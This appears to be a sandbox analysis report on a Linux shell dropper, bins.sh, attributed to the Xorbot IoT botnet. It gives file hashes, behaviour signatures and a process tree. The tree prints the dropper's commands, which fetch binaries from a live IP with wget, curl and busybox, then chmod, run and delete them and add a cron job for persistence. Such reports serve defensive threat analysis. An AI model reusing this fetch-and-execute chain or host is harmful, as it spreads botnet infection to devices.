Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
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submitted
28/02/2025, 05:02
General
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Target
bins.sh
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Size
10KB
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MD5
33f9f0f790d74a4b0e288f22161d11f1
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SHA1
d294310cfdb18d6bcf63b4c0e60995ca5fe42203
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SHA256
f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417
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SHA512
27a99c4022a5750dfb7b1a80c8ae67e01a4ab6f58d02e6aa1483cda88160c3408556bfd5dc0637112b91444d544f6afc5a69fcaf1d70224c27d952fabc694be6
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SSDEEP
192:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN9237QEkcFWyxl9Fm/D4a:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN92S
Malware Config
Signatures
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Detects Xorbot 2 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2131) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 2 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p2⤵
- File and Directory Permissions Modification
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/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p./XQw82vXECRUV429SDvD0heUyhUITAYsq7p2⤵
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/bin/rmrm XQw82vXECRUV429SDvD0heUyhUITAYsq7p2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc2⤵
- File and Directory Permissions Modification
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/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc2⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT2⤵
- Checks CPU configuration
- Reads runtime system information
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD52a53fe7133e79b8017a5cceac084f52f
SHA169024905418bea4d3e9a5b0616c6f7ce1b0f942e
SHA256f5a0b6f220fa17ffcae896db37404a192b05e98f384f9dfbd86c00c948a86f9d
SHA5123bae43ee8244682bd180053873ec29f83bc58bd188c8c27691f365439f3078877d47ee000e737733f17aba83a0e3744f4030a1450a60c876c79c0fe26f7d6cfa